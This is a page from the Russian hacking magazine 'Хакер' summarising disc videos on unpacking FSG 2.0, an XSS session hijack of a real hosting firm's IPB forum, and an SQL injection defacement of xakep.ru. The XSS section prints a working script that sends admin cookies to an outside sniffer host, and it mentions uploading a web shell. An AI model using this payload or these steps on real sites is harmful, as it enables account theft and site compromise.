Диско

Хакер, номер #088, стр. 088-126-1

[обходим защиту FSG 2.0]

Однажды в студеную зимнюю пору одному перцу пришла в голову мысль покопаться в чужой проге дебаггером. Но вот незадача: вместо нормального кода, он увидел там какую- то ерунду. Возможно, он выкинул бы эту идею из головы, если не… Впрочем, оставим интимные подробности — просто он решил довести дело до конца. Окно анализатора PEiD с потрохами выдало используемую в приложении защиту: ею оказался FSG 2.0. Вооружившись кучкой знаний и впихнув себе в башню немного серого вещества, наш приятель приступил к работе. Дабы избавиться от лишнего геморроя, он запаковал стандартный виндовый блокнот тем же FSG’ом. Открыв запакованный файл в дебаггере OllyDdg, он для начала решил найти переход на OEP (переход оказался непростым, а тройным) и, как не странно, ему это удалось. Сняв отпечаток памяти своего компьютера, он с удивлением обнаружил, что он мертвый. Тут мерзавец решил заставить жить неработающий экзэшник. Прочитав дополнительную литературу (в виде анекдотов), он попытался восстанавливать таблицу импортов в дампе. Для этого с помощью шестнадцатеричного редактора он вскрыл дамп и нашел там изуродованные FSG’ом табы. Прикрутив новую чистенькую таблицу к своему дампу, его удивлению не было предела.

Дамп работает. И работает на ура!

[бедный-бедный IBP]

В этом видео-взломе, хакер демонстрирует новую уязвимость в популярном форумном движке Invision Power Board. Вначале он задействует Яндекс для целенаправленного поиска русского хостинга с установленным IPB. Герой делает следующий запрос: «Форум Invision Power Board Платный хостинг от .ru». Вторая ссылка, выданная поисковиком, привела его на форум компании Viahost. Взломщик был предусмотрительным и заранее зарегистрировался на форуме. Далее он выбирает случайное сообщение

и жмет на кнопку «Жалобы». Чтобы не вызвать подозрений у администрации, герой пишет правдоподобное сообщение и попутно вставляет java-скрипт, передающий админские кукисы на сторонний сервер. Сам воровской скрипт выглядит примерно так: <script>img = new Image(); img.src = "http://antichat.org/s/mysniff.gif?"+document.cookie;</script>.

Через какое-то время, негодяй просматривает логи снифера и обнаруживает там идентификатор, сессию и хэш пароля администратора похаканной борды. Теперь дело за малым - осталось лишь подменить свои кукисы админскими. Для этих целей взломщик использует плагин для браузера Mozilla — Cookie Editor. Обновив страницу, герой понимает, что теперь он является админом с ником Support :). Но ему и этого мало, поэтому он пытается расшифровать хэш для входа в админку. Брут по нескольким словарям не увенчался успехом. Хостингу повезло и в этот раз он отделался легким испугом. Если бы хакер завладел паролем (в админцентр без пропуска нельзя ;), то далее можно залить веб-шелл, а потом и порулить всей машиной.

[дефейс www.xakep.ru]

Автор: ZaCo

Ты, наверное, уже наслышан о кратковременном дефейсе www.xakep.ru? Мы не могли оставить этот случай без внимания и поэтому в качестве бонуса ты найдешь на диске полноценный видео-хак нашего сайта. Я не буду рассказывать тебе всю суть ролика, лишь в кратких чертах опишу его содержание. Сначала багоискатель заходит на сайт и обращает внимание на скрипт для добавления мнения к статье/новости. На протяжении всего видео этот скрипт подвергается разнообразным и ужасным пытками со стороны взломщика. Чувак попался не из робкого десятка и просто так сдаваться не желал. В конце концов, после длительных потуг он таки подбирает количество полей для совершения инжекции и даже названия некоторых из них. Этих метаданных достаточно, для того чтобы, например, переименовать новость на сайте, изменить ее описание или просто задефейсить хакерский мегапортал :).